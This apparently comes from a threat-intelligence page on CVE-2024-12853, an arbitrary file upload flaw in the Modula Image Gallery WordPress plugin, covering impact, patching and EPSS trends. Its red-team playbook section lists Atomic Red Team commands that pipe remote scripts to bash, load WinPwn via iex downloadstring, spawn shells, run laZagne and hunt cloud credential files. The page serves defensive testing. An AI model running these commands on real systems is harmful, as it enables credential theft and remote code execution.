CVE-2024-12853
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types during the zip upload process in the Modula Image Gallery WordPress plugin. The root cause lies in the absence of proper file type checks in the zip upload functionality, allowing unauthorized file formats to be accepted. The affected component is the zip upload feature within all versions of the plugin up to and including 2.11.10.
Vulnerability Description
The Modula Image Gallery plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the zip upload functionality in all versions up to, and including, 2.11.10. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with Author-level or higher privileges can upload arbitrary files, including web shells or scripts, to the affected server, potentially leading to remote code execution. This requires authenticated access with minimal privileges (Author or above) and no user interaction beyond file upload. Exploitation can result in full system compromise, data breach, or site defacement. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) confirms network attackability with low complexity and high impact on confidentiality, integrity, and availability.
Solution
Users should update the Modula Image Gallery plugin to version 2.11.11 or later, where the zip upload validation has been corrected. The WordPress plugin repository changelog and the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/ef86b1f2-d5aa-4e83-a792-5fa35734b3d3) provide detailed patch instructions. No alternative workarounds are recommended; prompt application of the vendor-supplied update is required to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The Modula Image Gallery plugin for WordPress exhibits a critical vulnerability related to arbitrary file uploads, primarily due to inadequate validation of file types during the zip upload process. This flaw is present in all versions up to and including 2.11.10. The absence of stringent checks allows authenticated users, particularly those with Author-level access or higher, to upload files that could potentially be malicious. This oversight opens the door for attackers to introduce executable scripts or other harmful files onto the server, which could lead to remote code execution. The implications of such a vulnerability are profound, as it undermines the integrity of the web application and the security of the underlying server infrastructure.
Attack vectors for exploiting this vulnerability are relatively straightforward. An attacker with the necessary access rights can craft a zip file containing a malicious payload and upload it through the plugin's interface. Once the file is uploaded, the attacker can execute the payload, which may include web shells or other forms of malware. This scenario allows for a range of malicious activities, including data exfiltration, defacement of the website, or even lateral movement within the network to compromise other systems. The simplicity of the exploitation process, combined with the widespread use of the Modula Image Gallery plugin, makes this vulnerability particularly concerning for WordPress installations.
The real-world impact of this vulnerability can be severe, especially for businesses that rely on their online presence for revenue generation and customer engagement. Successful exploitation could lead to unauthorized access to sensitive data, including customer information and proprietary business data. Additionally, the presence of malicious files could tarnish a company's reputation, leading to loss of customer trust and potential legal repercussions. The financial implications of a data breach can be substantial, encompassing costs related to incident response, remediation, and potential regulatory fines. Furthermore, the downtime associated with cleaning up after an attack can disrupt business operations and lead to significant revenue losses.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Modula Image Gallery plugin to the latest version is crucial, as this will eliminate the vulnerability. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and prevent unauthorized file uploads. Monitoring server logs for unusual activity, such as unexpected file uploads or changes to existing files, can also aid in early detection of exploitation attempts. Furthermore, conducting regular security audits and vulnerability assessments can help identify and remediate potential weaknesses before they can be exploited by attackers.
In conclusion, the arbitrary file upload vulnerability in the Modula Image Gallery plugin poses a significant threat to WordPress sites, particularly those with inadequate security measures. The potential for remote code execution highlights the need for robust file validation processes and strict access controls. Organizations must prioritize timely updates, proactive monitoring, and comprehensive security strategies to safeguard their web applications against such vulnerabilities. By adopting a holistic approach to cybersecurity, businesses can mitigate risks and protect their digital assets from evolving threats.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-12853, rising by nearly 29% to place it in the 95th percentile. This upward trend, coupled with a steady week-over-week increase, indicates growing confidence in the likelihood of exploitation despite the absence of newly reported exploit code or active campaigns. The elevated EPSS score suggests that threat actors are increasingly prioritizing this vulnerability, likely due to its high-impact potential for remote code execution via arbitrary file uploads in WordPress environments. For defenders, this shift underscores an elevated risk posture, as the vulnerability’s exploitability is becoming more imminent and probable. While no fresh exploit details have surfaced, the rising predictive metrics warrant heightened vigilance and reassessment of exposure, particularly for sites running affected versions of the Modula Image Gallery plugin with Author-level or higher user privileges. This development does not yet signify active widespread exploitation but signals a growing threat momentum that could precipitate more aggressive targeting in the near term.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wpchill | Modula Image Gallery | All |
cpe:2.3:a:wpchill:modula_image_gallery:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-12853 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/ef86b1f2-d5aa-4e83-a792-5fa35734b3d3?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3218127%40modula-best-grid-gallery&new=3218127%40modula-best-grid-gallery&sfp_email=&sfph_mail= |